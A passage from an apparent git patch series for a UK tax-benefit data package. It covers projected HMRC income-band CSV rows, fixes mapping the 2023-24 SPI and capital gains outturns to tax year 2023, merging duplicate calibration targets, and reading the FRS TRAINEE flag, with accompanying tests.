-12570,inf,28245211,1230364948454,3802220,128580368098,8264389,95071624899,9505550,148117967270,2435700,34144094118,20278162,21333371429,4239424,83470319328,2029
+12570,15000.0,1360000,16900000000,444000,4810000000,1140000,11800000000,1070000,4350000000,101000,670000000,1250000,274000000,115000,175000000,2023
+15000,20000.0,3100000,48600000000,651000,8030000000,2050000,22200000000,2140000,13600000000,232000,1690000000,2840000,1370000000,372000,855000000,2023
+20000,30000.0,7470000,172000000000,961000,15700000000,2320000,24900000000,2660000,30200000000,431000,3820000000,5250000,3130000000,843000,3330000000,2023
+30000,40000.0,5370000,170000000000,595000,12600000000,1160000,12300000000,1450000,24900000000,364000,3800000000,3690000,2530000000,667000,4700000000,2023
+40000,50000.0,3500000,139000000000,359000,8730000000,568000,6020000000,779000,16900000000,325000,3780000000,2370000,1870000000,627000,8400000000,2023
+50000,70000.0,3430000,174000000000,311000,8220000000,441000,4660000000,643000,17400000000,397000,5400000000,2230000,2340000000,643000,12500000000,2023
+70000,100000.0,1640000,118000000000,143000,5360000000,176000,1890000000,259000,9470000000,226000,3770000000,1070000,1620000000,336000,9440000000,2023
+100000,150000.0,791000,82300000000,85000,4980000000,74000,847000000,109000,5430000000,137000,2550000000,489000,1260000000,222000,6870000000,2023
+150000,200000.0,264000,39200000000,40000,3650000000,21000,265000000,29000,1810000000,54000,1150000000,146000,650000000,92000,3450000000,2023
+200000,300000.0,180000,36600000000,34000,4390000000,14000,179000000,20000,1570000000,41000,1050000000,111000,733000000,75000,3700000000,2023
+300000,500000.0,93000,29000000000,21000,4840000000,8000,96000000,10000,1120000000,23000,765000000,68000,673000000,49000,3430000000,2023
+500000,1000000.0,44000,23100000000,15000,6670000000,3000,43000000,4000,640000000,13000,474000000,38000,653000000,32000,3820000000,2023
+1000000,inf,21000,35500000000,11000,19500000000,2000,20000000,2000,370000000,7000,439000000,21000,1240000000,19000,11100000000,2023
+12570,inf,27263000,1084200000000,3670000,107480000000,7977000,85220000000,9175000,127760000000,2351000,29358000000,19573000,18343000000,4092000,71770000000,2023
+12570,15000.0,1373373,17685394191,448366,5039678604,1151209,12073283706,1080521,4566320072,101993,695117698,1262291,284272014,116131,181560593,2024
+15000,20000.0,3130482,50858589212,657401,8413434343,2070157,22714143921,2161042,14276311031,234281,1753356582,2867925,1421360070,375658,887053182,2024
+20000,30000.0,7543451,179993360996,970449,16449678604,2342812,25476674938,2686155,31701808318,435238,3963208370,5301622,3247340889,851289,3454838710,2024
+30000,40000.0,5422802,177900414938,600851,13201652893,1171406,12584863524,1464258,26138245931,367579,3942458588,3726283,2624847428,673559,4876198779,2024
+40000,50000.0,3534415,145459751037,362530,9146859504,573585,6159421009,786660,17740415913,328196,3921708806,2393304,1940104621,633165,8714908457,2024
+50000,70000.0,3463727,182086307054,314058,8612506887,445336,4767923904,649323,18265280289,400904,5602441151,2251927,2427724499,649323,12968613775,2024
+70000,100000.0,1656126,123483817427,144406,5615941230,177731,1933771712,261547,9940931284,228222,3911333915,1080521,1680732345,339304,9793897123,2024
+100000,150000.0,798778,86124730290,85836,5217796143,74728,866616212,110072,5700027125,138347,2645597210,493808,1307236269,224183,7127550131,2024
+150000,200000.0,266596,41021742739,40393,3824288338,21206,271137304,29285,1900009042,54531,1193112467,147436,674367916,92905,3579337402,2024
+200000,300000.0,181770,38300912863,34334,4599623508,14138,183145575,20197,1648074141,41403,1089363557,112091,760479512,75737,3838709677,2024
+300000,500000.0,93914,30347717842,21206,5071111111,8079,98223325,10098,1175696203,23226,793679163,68669,698230166,49482,3558587620,2024
+500000,1000000.0,44433,24173526971,15147,6988494031,3029,43995864,4039,671826401,13128,491769834,38374,677480384,32315,3963208370,2024
+1000000,inf,21206,37149792531,11108,20431129477,2020,20463193,2020,388399638,7069,455457716,21206,1286486486,19187,11516129032,2024
+12570,inf,27531073,1134586058091,3706087,112612194674,8055437,87193664185,9265216,134113345389,2374117,30458605057,19765458,19030662598,4132236,74460592851,2024
+12570,15000.0,1389420,18344564315,453605,5273774105,1164661,12463688999,1093147,4782640145,103185,714394071,1277040,292155187,117488,186595466,2025
+15000,20000.0,3167060,52754190871,665083,8804242424,2094346,23448635236,2186293,14952622061,237019,1801979076,2901436,1460775937,380047,911652136,2025
+20000,30000.0,7631593,186702074689,981789,17213774105,2370187,26300496278,2717542,33203616637,440324,4073112467,5363569,3337393200,861236,3550645161,2025
+30000,40000.0,5486165,184531120332,607871,13814876033,1185093,12991811414,1481367,27376491863,371874,4051787271,3769823,2697637315,681429,5011421099,2025
+40000,50000.0,3575713,150881327801,366766,9571735537,580287,6358593879,795852,18580831826,332030,4030462075,2421268,1993905841,640563,8956582389,2025
+50000,70000.0,3504199,188873029046,317728,9012561983,450540,4922100910,656910,19130560579,405588,5757802964,2278240,2495047951,656910,13328247602,2025
+70000,100000.0,1675477,128086307054,146093,5876804408,179807,1996302730,264603,10411862568,230889,4019799477,1093147,1727340889,343268,10065492589,2025
+100000,150000.0,808111,89334771784,86839,5460165289,75601,894639371,111358,5970054250,139964,2718962511,499578,1343487358,226802,7325204882,2025
+150000,200000.0,269711,42550705394,40865,4001928375,21454,279904880,29627,1990018083,55168,1226198779,149158,693068875,93990,3678596338,2025
+200000,300000.0,183894,39728464730,34735,4813278237,14303,189067825,20433,1726148282,41887,1119572799,113401,781568439,76622,3945161290,2025
+300000,500000.0,95012,31478838174,21454,5306666667,8173,101399504,10216,1231392405,23498,815688753,69471,717592851,50060,3657271142,2025
+500000,1000000.0,44952,25074522822,15324,7313112948,3065,45418528,4087,703652803,13281,505407149,38822,696267655,32692,4073112467,2025
+1000000,inf,21454,38534439834,11238,21380165289,2043,21124897,2043,406799277,7151,468088056,21454,1322162162,19411,11835483871,2025
+12570,inf,27852760,1176874356846,3749390,117843085399,8149560,90013184450,9373476,140466690778,2401857,31303255449,19996408,19558403662,4180519,76525466434,2025
+12570,15000.0,1398781,18751286307,456661,5437199265,1172507,12697932175,1100511,4959629295,103880,734838710,1285644,300516129,118279,191935484,2026
+15000,20000.0,3188397,53923817427,669563,9077070707,2108456,23889330025,2201023,15505967450,238616,1853548387,2920983,1502580645,382608,937741935,2026
+20000,30000.0,7683009,190841493776,988403,17747199265,2386155,26794789082,2735851,34432368897,443290,4189677419,5399705,3432903226,867038,3652258065,2026
+30000,40000.0,5523127,188622406639,611967,14242975207,1193078,13235980149,1491347,28389602170,374380,4167741935,3795221,2774838710,686020,5154838710,2026
+40000,50000.0,3599803,154226556017,369237,9868347107,584197,6478097601,801213,19268444846,334267,4145806452,2437581,2050967742,644879,9212903226,2026
+50000,70000.0,3527807,193060580913,319868,9291845730,453575,5014607113,661335,19838517179,408321,5922580645,2293589,2566451613,661335,13709677419,2026
+70000,100000.0,1686765,130926141079,147078,6058916437,181019,2033821340,266385,10797169982,232444,4134838710,1100511,1776774194,345581,10353548387,2026
+100000,150000.0,813556,91315435685,87424,5629366391,76110,911453267,112108,6190985533,140907,2796774194,502944,1381935484,228330,7534838710,2026
+150000,200000.0,271528,43494107884,41141,4125941230,21599,285165426,29827,2063661844,55540,1261290323,150163,712903226,94623,3783870968,2026
+200000,300000.0,185133,40609294606,34970,4962433425,14399,192621175,20570,1790027125,42169,1151612903,114165,803935484,77139,4058064516,2026
+300000,500000.0,95652,32176763485,21599,5471111111,8228,103305211,10285,1276962025,23656,839032258,69939,738129032,50397,3761935484,2026
+500000,1000000.0,45255,25630456432,15428,7539733701,3086,46272126,4114,729692586,13371,519870968,39084,716193548,32912,4189677419,2026
+1000000,inf,21599,39388796680,11314,22042699725,2057,21521919,2057,421853526,7200,481483871,21599,1360000000,19542,12174193548,2026
+12570,inf,28040411,1202967136929,3774651,121494839302,8204466,91704896609,9436627,145664882459,2418039,32199096774,20131129,20118129032,4208684,78715483871,2026
+12570,15000.0,1409479,19143983402,460153,5609458219,1181475,12951695616,1108928,5065822785,104675,757619878,1295477,309832607,119184,197885789,2027
+15000,20000.0,3212783,55053112033,674684,9364646465,2124582,24366749380,2217856,15837974684,240441,1911011334,2943324,1549163034,385534,966813426,2027
+20000,30000.0,7741770,194838174274,995963,18309458219,2404405,27330272953,2756775,35169620253,446680,4319564080,5441003,3539328684,873670,3765483871,2027
+30000,40000.0,5565369,192572614108,616647,14694214876,1202203,13500496278,1502753,28997468354,377243,4296948561,3824248,2860863121,691266,5314646905,2027
+40000,50000.0,3627335,157456431535,372061,10180991736,588665,6607559967,807341,19681012658,336824,4274333043,2456224,2114551003,649811,9498517873,2027
+50000,70000.0,3554789,197103734440,322315,9586225895,457044,5114822167,666393,20263291139,411443,6106190061,2311131,2646015693,666393,14134699215,2027
+70000,100000.0,1699666,133668049793,148203,6250872360,182403,2074466501,268423,11028354430,234222,4263025283,1108928,1831857018,348224,10674524847,2027
+100000,150000.0,819778,93227800830,88092,5807713499,76692,929668321,112966,6323544304,141984,2883478640,506791,1424777681,230077,7768430689,2027
+150000,200000.0,273605,44404979253,41455,4256657484,21764,290864351,30055,2107848101,55965,1300392328,151312,735004359,95347,3901176983,2027
+200000,300000.0,186549,41459751037,35237,5119651056,14509,196470637,20728,1828354430,42492,1187314734,115038,828858762,77729,4183870968,2027
+300000,500000.0,96383,32850622407,21764,5644444444,8291,105369727,10364,1304303797,23837,865043592,70474,761012206,50783,3878561465,2027
+500000,1000000.0,45601,26167219917,15546,7778604224,3109,47196857,4146,745316456,13473,535987794,39382,738396687,33164,4319564080,2027
+1000000,inf,21764,40213692946,11400,22741046832,2073,21952026,2073,430886076,7255,496410636,21764,1402162162,19691,12551612903,2027
+12570,inf,28254869,1228160165975,3803520,125343985308,8267215,93537584781,9508800,148783797468,2436533,33197319965,20285095,20741823017,4240873,81155789015,2027
+12570,15000.0,1414828,19578755187,461900,5808218549,1185959,13205459057,1113137,5172016275,105072,782737576,1300393,320104621,119636,204446382,2028
+15000,20000.0,3224975,56303402490,677245,9696464646,2132645,24844168734,2226273,16169981917,241353,1974367916,2954494,1600523104,386997,998866609,2028
+20000,30000.0,7771150,199263070539,999742,18958218549,2413530,27865756824,2767237,35906871609,448376,4462772450,5461652,3656669573,876985,3890322581,2028
+30000,40000.0,5586490,196946058091,618987,15214876033,1206765,13765012407,1508456,29605334539,378675,4439407149,3838761,2955710549,693890,5490845684,2028
+40000,50000.0,3641101,161032365145,373473,10541735537,590899,6737022333,810405,20093580470,338102,4416041848,2465546,2184655623,652277,9813426330,2028
+50000,70000.0,3568279,201580082988,323538,9925895317,458779,5215037221,668922,20688065099,413005,6308631212,2319902,2733740192,668922,14603312990,2028
+70000,100000.0,1706116,136703734440,148765,6472359963,183095,2115111663,269441,11259538879,235111,4404359198,1113137,1892589364,349546,11028421970,2028
+100000,150000.0,822889,95345062241,88427,6013498623,76983,947883375,113394,6456103074,142523,2979075850,508714,1472013949,230950,8025980820,2028
+150000,200000.0,274643,45413443983,41613,4407483930,21847,296563275,30169,2152034358,56177,1343504795,151886,759372276,95709,4030514385,2028
+200000,300000.0,187257,42401327801,35371,5301056015,14564,200320099,20806,1866681736,42653,1226678291,115475,856338274,78024,4322580645,2028
+300000,500000.0,96749,33596680498,21847,5844444444,8323,107434243,10403,1331645570,23927,893722755,70741,786242371,50975,4007149085,2028
+500000,1000000.0,45774,26761493776,15605,8054224059,3121,48121588,4161,760940325,13524,553757629,39532,762877071,33290,4462772450,2028
+1000000,inf,21847,41126970954,11443,23546831956,2081,22382134,2081,439918626,7282,512868352,21847,1448648649,19766,12967741935,2028
+12570,inf,28362098,1256052448133,3817955,129785307622,8298590,95370272953,9544887,151902712477,2445780,34297925022,20362079,21429485615,4256968,83846381866,2028
+12570,15000.0,1422852,20069626556,464519,6029063361,1192684,13468982630,1119449,5293942134,105668,808439407,1307768,330615519,120315,211159547,2029
+15000,20000.0,3243265,57715020747,681086,10065151515,2144739,25339950372,2238899,16551175407,242722,2039197908,2971249,1653077594,389192,1031665214,2029
+20000,30000.0,7815221,204258921162,1005412,19679063361,2427217,28421836228,2782930,36753345389,450918,4609311247,5492625,3776739320,881959,4018064516,2029
+30000,40000.0,5618171,201883817427,622498,15793388430,1213609,14039702233,1517011,30303254973,380822,4585178727,3860531,3052763731,697825,5671142110,2029
+40000,50000.0,3661750,165069709544,375591,10942561983,594250,6871464020,815001,20567269439,340020,4561046207,2479528,2256390584,655976,10135658239,2029
+50000,70000.0,3588515,206634024896,325373,10303305785,461381,5319106700,672716,21175768535,415347,6515780296,2333058,2823504795,672716,15082824760,2029
+70000,100000.0,1715792,140131120332,149609,6718457300,184134,2157320099,270970,11524972875,236444,4548979948,1119449,1954734089,351528,11390549259,2029
+100000,150000.0,827556,97735518672,88928,6242148760,77420,966799007,114037,6608300181,143331,3076896251,511599,1520348736,232260,8289520488,2029
+150000,200000.0,276201,46552033195,41849,4575068871,21971,302481390,30340,2202766727,56496,1387619878,152747,784306888,96252,4162859634,2029
+200000,300000.0,188319,43464398340,35571,5502617080,14647,204317618,20924,1910687161,42895,1266957280,116130,884456844,78466,4464516129,2029
+300000,500000.0,97298,34439004149,21971,6066666667,8370,109578164,10462,1363037975,24063,923068875,71143,812059285,51265,4138727114,2029
+500000,1000000.0,46033,27432448133,15693,8360468320,3139,49081886,4185,778878843,13601,571940715,39756,787926765,33479,4609311247,2029
+1000000,inf,21971,42158091286,11508,24442148760,2092,22828784,2092,450289331,7324,529708806,21971,1496216216,19878,13393548387,2029
+12570,inf,28522942,1287543734440,3839607,134720110193,8345652,97273449132,9599017,155483688969,2459650,35424125545,20477554,22133140366,4281109,86599546643,2029
diff --git a/policyengine_uk_data/targets/sources/hmrc_cgt.py b/policyengine_uk_data/targets/sources/hmrc_cgt.py
index f2936068..8b39a8e3 100644
--- a/policyengine_uk_data/targets/sources/hmrc_cgt.py
+++ b/policyengine_uk_data/targets/sources/hmrc_cgt.py
@@ -29,17 +29,19 @@
 for the simulation year, so the target's meaning tracks the policy in
 force. ``_AEA_FALLBACK`` is used only if the parameter lookup fails.
 
-Year handling: HMRC's figures are the 2023-24 outturn, mapped to
-calendar 2024 following ``hmrc_spi._SPI_YEAR``. The amount is projected
-to 2029 with PolicyEngine's ``capital_gains`` uprating factors so the
-target constrains the projection years the calibration actually runs
-for; the taxpayer count is held flat, as the repo has no administrative
-basis for forecasting CGT taxpayer numbers and count uprating factors
-would be a nominal-income index applied to a headcount.
-
-Caveat: the 2023-24 outturn was realised under a £6,000 AEA, while the
-gate applied in later years uses the £3,000 AEA then in force. The
-targets are therefore approximate for the projection years; the
+Year handling: HMRC's figures are the 2023-24 outturn. PolicyEngine
+UK's year N is tax year N to N+1, so the outturn is the 2023 value, the
+year whose £6,000 AEA it was realised under (``hmrc_spi._SPI_YEAR``
+follows the same convention). The amount is projected to 2029 with
+PolicyEngine's ``capital_gains`` uprating factors so the target
+constrains the projection years the calibration actually runs for; the
+taxpayer count is held flat, as the repo has no administrative basis for
+forecasting CGT taxpayer numbers and count uprating factors would be a
+nominal-income index applied to a headcount.
+
+Caveat: from 2024 the gate uses the £3,000 AEA then in force, while the
+projected values carry the 2023-24 outturn realised under a £6,000 AEA.
+The targets are therefore approximate for the projection years; the
 alternative (a fixed £6,000 gate) would be wrong in a different and less
 transparent way, because it would not describe any year's actual policy.
 
@@ -55,9 +57,9 @@
 
 logger = logging.getLogger(__name__)
 
-# HMRC CGT statistics, tax year 2023-24 outturn, mapped to calendar 2024
-# following the hmrc_spi._SPI_YEAR convention.
-_CGT_BASE_YEAR = 2024
+# HMRC CGT statistics, tax year 2023-24 outturn. PolicyEngine UK's year N
+# is tax year N to N+1, so the outturn is the 2023 value.
+_CGT_BASE_YEAR = 2023
 _MAX_YEAR = 2029
 
 # Total chargeable gains of CGT taxpayers, 2023-24 (£65.9bn).
diff --git a/policyengine_uk_data/targets/sources/hmrc_spi.py b/policyengine_uk_data/targets/sources/hmrc_spi.py
index 17b375b8..2e1d1207 100644
--- a/policyengine_uk_data/targets/sources/hmrc_spi.py
+++ b/policyengine_uk_data/targets/sources/hmrc_spi.py
@@ -53,8 +53,10 @@
 ]
 _BAND_UPPER = _BAND_LOWER[1:] + [float("inf")]
 
-# SPI year: the ODS is for tax year 2023-24, mapped to calendar 2024
-_SPI_YEAR = 2024
+# SPI year: the ODS is for tax year 2023-24. PolicyEngine UK's year N is
+# tax year N to N+1 (parameters take their 6 April N value), so the
+# outturn belongs to 2023. Later years come from incomes_projection.csv.
+_SPI_YEAR = 2023
 
 # HMRC Property Rental Income Statistics show ~1.9x more property income
 # than the SPI (£46.68bn vs £24.5bn for 2020-21), because SPI only covers
diff --git a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
index 66a15b08..70bb85db 100644
--- a/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
+++ b/policyengine_uk_data/tests/test_hmrc_cgt_targets.py
@@ -89,6 +89,20 @@ def test_aea_tracks_the_year():
     assert compute_cgt_taxpayers(_dummy_ctx(**args), target, 2023)[0] == 0.0
 
 
+def test_base_year_is_the_tax_year_the_outturn_was_realised_in():
+    """PolicyEngine UK's year N is tax year N to N+1, so the 2023-24 outturn
+    is the 2023 value. The base-year gate must then be 2023-24's £6,000 AEA,
+    read from the real parameter tree; mapping the outturn to 2024 would gate
+    it at 2024-25's £3,000."""
+    from policyengine_uk.system import system
+
+    from policyengine_uk_data.targets.sources.hmrc_cgt import _annual_exempt_amount
+
+    ctx = SimpleNamespace(sim=SimpleNamespace(tax_benefit_system=system))
+    assert _annual_exempt_amount(ctx, _CGT_BASE_YEAR) == 6_000
+    assert _annual_exempt_amount(ctx, _CGT_BASE_YEAR + 1) == 3_000
+
+
 def test_targets_load_with_expected_base_year_values():
     targets = {t.name: t for t in get_targets()}
     # Aggregate targets plus the per-size-band targets (tested in
@@ -296,7 +310,7 @@ def test_registry_keeps_custom_compute_for_the_calibration_years():
 
 
 def test_registry_year_filter_excludes_years_before_the_outturn():
-    """The targets describe a 2023-24 outturn mapped to calendar 2024,
+    """The targets describe the 2023-24 outturn, PolicyEngine year 2023,
     so they must not appear for earlier years."""
     from policyengine_uk_data.targets import get_all_targets
 
diff --git a/policyengine_uk_data/tests/test_income_projection.py b/policyengine_uk_data/tests/test_income_projection.py
index 686604e0..faa6159a 100644
--- a/policyengine_uk_data/tests/test_income_projection.py
+++ b/policyengine_uk_data/tests/test_income_projection.py
@@ -5,9 +5,12 @@
 to have been generated and will be skipped otherwise.
 """
 
+import re
+
 import pytest
 import pandas as pd
 from policyengine_uk_data.storage import STORAGE_FOLDER
+from policyengine_uk_data.targets.sources._common import load_config
 from policyengine_uk_data.targets.sources.hmrc_spi import _SPI_YEAR
 
 PROJECTION_PATH = STORAGE_FOLDER / "incomes_projection.csv"
@@ -143,3 +146,29 @@ def test_projection_keeps_top_open_ended_band(projections):
     ]
     assert len(top_band) == 1
     assert top_band.iloc[0]["dividend_income_amount"] > 0
+
+
+def test_projection_is_the_spi_table_uprated_with_the_committed_table(
+    projections, base_targets
+):
+    """Regenerate incomes_projection.csv whenever uprating_factors.csv changes."""
+    from policyengine_uk_data.utils.incomes_projection import project_income_table
+
+    pd.testing.assert_frame_equal(project_income_table(base_targets), projections)
+
+
+def test_spi_year_is_the_start_of_the_configured_tax_year():
+    """The SPI ODS name ends with its tax year (..._2324.ods is 2023-24).
+
+    PolicyEngine UK's year N is tax year N to N+1 (each parameter takes its
+    value at 30 April N), so a 2023-24 outturn is the 2023 value. Mapping it
+    to the end year would treat it as 2024-25 and understate every later
+    year by a year's growth. A refreshed URL without a matching _SPI_YEAR
+    fails here.
+    """
+    url = load_config()["hmrc"]["spi_collated"]
+    match = re.search(r"_(\d{2})(\d{2})\.ods$", url)
+    assert match, url
+    start, end = int(match[1]), int(match[2])
+    assert end == (start + 1) % 100, url
+    assert _SPI_YEAR == 2000 + start
diff --git a/policyengine_uk_data/tests/test_property_income_targets.py b/policyengine_uk_data/tests/test_property_income_targets.py
index 5a2f6208..b5a1e2ee 100644
--- a/policyengine_uk_data/tests/test_property_income_targets.py
+++ b/policyengine_uk_data/tests/test_property_income_targets.py
@@ -5,6 +5,7 @@
 """
 
 from policyengine_uk_data.targets import get_all_targets
+from policyengine_uk_data.targets.sources.hmrc_spi import _SPI_YEAR
 
 
 def test_property_income_targets_scaled():
@@ -13,7 +14,7 @@ def test_property_income_targets_scaled():
     Raw SPI 2023-24 total is scaled up to better match HMRC rental
     income statistics, which cover more landlords than SPI.
     """
-    base_year = 2024
+    base_year = _SPI_YEAR
     targets = get_all_targets(year=base_year)
     total = sum(
         t.values[base_year]

From a608ddbab0c85f56d6779c2bdfd1f91bae20b3e7 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 10 Oct 2026 17:41:11 -0400
Subject: [PATCH 04/76] Calibrate SPI income bands to their projected values

build_loss_matrix fetches targets without a year filter, and the registry
keeps only the first target of each name. hmrc_spi emitted each band twice:
the ODS outturn (base year only), then the projection (later years). The
projected target was dropped, so _resolve_value carried the base-year outturn
forward unuprated: the 2025 calibration has targeted raw 2023-24 SPI values
since the February 2026 registry refactor. get_targets now merges the two
into one target per band, and a test checks every projected band, variable
and year through the calibration's own resolution path.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 changelog.d/spi-cgt-tax-year-start.fixed.md   |  2 +-
 .../targets/sources/hmrc_spi.py               | 32 ++++++++------
 .../tests/test_income_projection.py           | 42 +++++++++++++++++++
 3 files changed, 63 insertions(+), 13 deletions(-)

diff --git a/changelog.d/spi-cgt-tax-year-start.fixed.md b/changelog.d/spi-cgt-tax-year-start.fixed.md
index b49b12b5..514abf0d 100644
--- a/changelog.d/spi-cgt-tax-year-start.fixed.md
+++ b/changelog.d/spi-cgt-tax-year-start.fixed.md
@@ -1 +1 @@
-Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Income-band, local income and capital gains targets for 2024 onwards now carry one more year of uprating.
+Map the HMRC Survey of Personal Incomes and capital gains tax 2023-24 outturns to PolicyEngine year 2023, the tax year they describe, instead of 2024. Return each SPI income band as one target that holds both the base year and the projected years, so calibration uses the projected values rather than the base-year outturn carried forward. Together these raise the 2025 SPI income targets by two years of uprating (employment income +8.6%) and the capital gains targets by one (+3.8%).
diff --git a/policyengine_uk_data/targets/sources/hmrc_spi.py b/policyengine_uk_data/targets/sources/hmrc_spi.py
index 2e1d1207..080320cd 100644
--- a/policyengine_uk_data/targets/sources/hmrc_spi.py
+++ b/policyengine_uk_data/targets/sources/hmrc_spi.py
@@ -231,8 +231,13 @@ def get_income_band_table(include_aggregate: bool = True) -> pd.DataFrame:
 def get_targets() -> list[Target]:
     """Build income-band targets from the live HMRC SPI ODS.
 
-    Also reads incomes_projection.csv if available, which contains
-    projected future year data generated by the microsimulation.
+    Also reads incomes_projection.csv if available, which projects the
+    same bands to later years with PolicyEngine's uprating indices. Each
+    band is returned as one target holding the base year and every
+    projected year: the registry keeps only the first target of a name,
+    and calibration reads targets without a year filter, so a band split
+    across two targets would lose its projected years and be calibrated
+    to the base-year outturn carried forward.
     """
     config = load_config()
     ref = config["hmrc"]["spi_collated"]
@@ -293,7 +298,18 @@ def get_targets() -> list[Target]:
     if proj_path.exists():
         targets.extend(_read_projection_csv(proj_path, ref))
 
-    return targets
+    return _merge_by_name(targets)
+
+
+def _merge_by_name(targets: list[Target]) -> list[Target]:
+    """Combine targets that share a name into one, merging their years."""
+    merged: dict[str, Target] = {}
+    for t in targets:
+        if t.name in merged:
+            merged[t.name].values.update(t.values)
+        else:
+            merged[t.name] = t
+    return list(merged.values())
 
 
 def _read_projection_csv(csv_path: Path, ref: str) -> list[Target]:
@@ -357,12 +373,4 @@ def _read_projection_csv(csv_path: Path, ref: str) -> list[Target]:
                         )
                     )
 
-    # Merge targets with the same name across years
-    merged: dict[str, Target] = {}
-    for t in targets:
-        if t.name in merged:
-            merged[t.name].values.update(t.values)
-        else:
-            merged[t.name] = t
-
-    return list(merged.values())
+    return _merge_by_name(targets)
diff --git a/policyengine_uk_data/tests/test_income_projection.py b/policyengine_uk_data/tests/test_income_projection.py
index faa6159a..ad7c71ef 100644
--- a/policyengine_uk_data/tests/test_income_projection.py
+++ b/policyengine_uk_data/tests/test_income_projection.py
@@ -172,3 +172,45 @@ def test_spi_year_is_the_start_of_the_configured_tax_year():
     start, end = int(match[1]), int(match[2])
     assert end == (start + 1) % 100, url
     assert _SPI_YEAR == 2000 + start
+
+
+def test_calibration_reads_the_projected_spi_targets(projections):
+    """Calibration (build_loss_matrix) fetches targets without a year filter,
+    and the registry keeps only the first target of each name. Every SPI band
+    must therefore be one target carrying all its years; if the projected
+    years sit on a second target of the same name they are dropped, and the
+    base-year outturn is carried forward unuprated instead."""
+    from policyengine_uk_data.targets import get_all_targets
+    from policyengine_uk_data.targets.build_loss_matrix import _resolve_value
+    from policyengine_uk_data.targets.sources.hmrc_spi import (
+        _PROPERTY_INCOME_SCALE,
+        INCOME_VARIABLES,
+        _format_band_label,
+        get_targets,
+    )
+
+    names = [t.name for t in get_targets()]
+    assert len(names) == len(set(names))
+
+    spi = {t.name: t for t in get_all_targets() if t.source == "hmrc_spi"}
+    checked = 0
+    for row in _without_aggregate(projections).itertuples():
+        if row.year <= _SPI_YEAR:
+            continue
+        label = _format_band_label(
+            row.total_income_lower_bound, row.total_income_upper_bound
+        )
+        for variable in INCOME_VARIABLES:
+            amount = getattr(row, f"{variable}_amount")
+            if variable == "property_income":
+                amount *= _PROPERTY_INCOME_SCALE
+            amount_target = spi[f"hmrc/{variable}_income_band_{label}"]
+            count_target = spi[f"hmrc/{variable}_count_income_band_{label}"]
+            assert _resolve_value(amount_target, row.year) == pytest.approx(amount)
+            assert _resolve_value(count_target, row.year) == pytest.approx(
+                getattr(row, f"{variable}_count")
+            )
+            checked += 2
+    assert checked == 2 * len(INCOME_VARIABLES) * len(
+        _without_aggregate(projections[projections["year"] > _SPI_YEAR])
+    )

From ff5c9983ecd128dfbe1d2ab90013234f7d7277ec Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Sat, 10 Oct 2026 19:17:54 -0400
Subject: [PATCH 05/76] Read approved training from the FRS TRAINEE flag

derive_is_in_approved_training_from_frs_person read a `train` column. No FRS
release has one (2020-21 to 2024-25 carry TRAIN2 and TRAINEE), and the
function returned False when the column was missing, so every record was
coded as not in approved training.

DWP's FRS counts a 16- to 19-year-old as a dependent child only when in
full-time non-advanced education or unwaged government training. In FRS
2024-25 all 20 child-table records aged 16 to 19 outside full-time education
have TRAINEE = 1 (33.0k grossed), and uk-data coded every one as failing the
qualifying-young-person education-or-training condition.

Read TRAINEE = 1 (yes; the same yes/no format as EDUCFT), and fail the build
when the column is missing instead of defaulting to False.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .../frs-approved-training-trainee.fixed.md    |  1 +
 policyengine_uk_data/datasets/frs.py          | 27 +++++---
 .../tests/test_legacy_benefit_proxies.py      | 64 ++++++++++++++++---
 3 files changed, 76 insertions(+), 16 deletions(-)
 create mode 100644 changelog.d/frs-approved-training-trainee.fixed.md

diff --git a/changelog.d/frs-approved-training-trainee.fixed.md b/changelog.d/frs-approved-training-trainee.fixed.md
new file mode 100644
index 00000000..cf945057
--- /dev/null
+++ b/changelog.d/frs-approved-training-trainee.fixed.md
@@ -0,0 +1 @@
+Code people on a government employment-training scheme as in approved training, from the FRS TRAINEE flag. The build read a `train` column that no FRS release has, so nobody was in approved training, and every FRS dependant aged 16 to 19 outside full-time education (all of them trainees) failed the education-or-training condition of the UC, Pension Credit, Child Benefit and Child Tax Credit qualifying-young-person tests.
diff --git a/policyengine_uk_data/datasets/frs.py b/policyengine_uk_data/datasets/frs.py
index 711127b5..a007480c 100644
--- a/policyengine_uk_data/datasets/frs.py
+++ b/policyengine_uk_data/datasets/frs.py
@@ -112,8 +112,9 @@
     "UPPER_SECONDARY",
     "POST_SECONDARY",
 )
-# FRS government-training question variants use 10 or 13 for "None of these".
-FRS_APPROVED_TRAINING_CODES = tuple(range(1, 10))
+# FRS TRAINEE, "Whether on a government scheme for employment training": 1 yes,
+# 2 no (the yes/no value format the FRS also uses for EDUCFT).
+FRS_TRAINEE_YES = 1
 UNKNOWN_QUALIFYING_EDUCATION_OR_TRAINING_ENTRY_AGE = 1000
 # FRS RENTPROF: whether ROYYR1 is a profit (1) or a loss (2).
 FRS_RENTPROF_LOSS = 2
@@ -367,13 +368,23 @@ def derive_is_in_non_advanced_education(
 def derive_is_in_approved_training_from_frs_person(
     person: pd.DataFrame,
 ) -> pd.Series:
-    """Identify reported government training scheme participation in FRS."""
-
-    if "train" not in person.columns:
-        return pd.Series(False, index=person.index)
+    """Identify government employment training from the FRS TRAINEE flag.
+
+    The FRS counts a 16- to 19-year-old as a dependent child when they are in
+    full-time non-advanced education or unwaged government training, so a
+    child-table record aged 16 to 19 outside full-time education is a trainee.
+    Both the adult and child tables carry TRAINEE. The build fails when it is
+    missing rather than silently marking nobody as in training: an earlier
+    version read a ``train`` column that no FRS release has, so every record
+    was coded as not in training.
+    """
 
-    train = pd.to_numeric(person.train, errors="coerce").fillna(0)
-    return train.isin(FRS_APPROVED_TRAINING_CODES)
+    if "trainee" not in person.columns:
+        raise KeyError(
+            "The FRS person table has no TRAINEE column, so approved training "
+            "cannot be derived."
+        )
+    return pd.to_numeric(person.trainee, errors="coerce").eq(FRS_TRAINEE_YES)
 
 
 def derive_age_started_or_accepted_current_education_or_training(
diff --git a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py b/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
index 64bf5670..c3ed0309 100644
--- a/policyengine_uk_data/tests/test_legacy_benefit_proxies.py
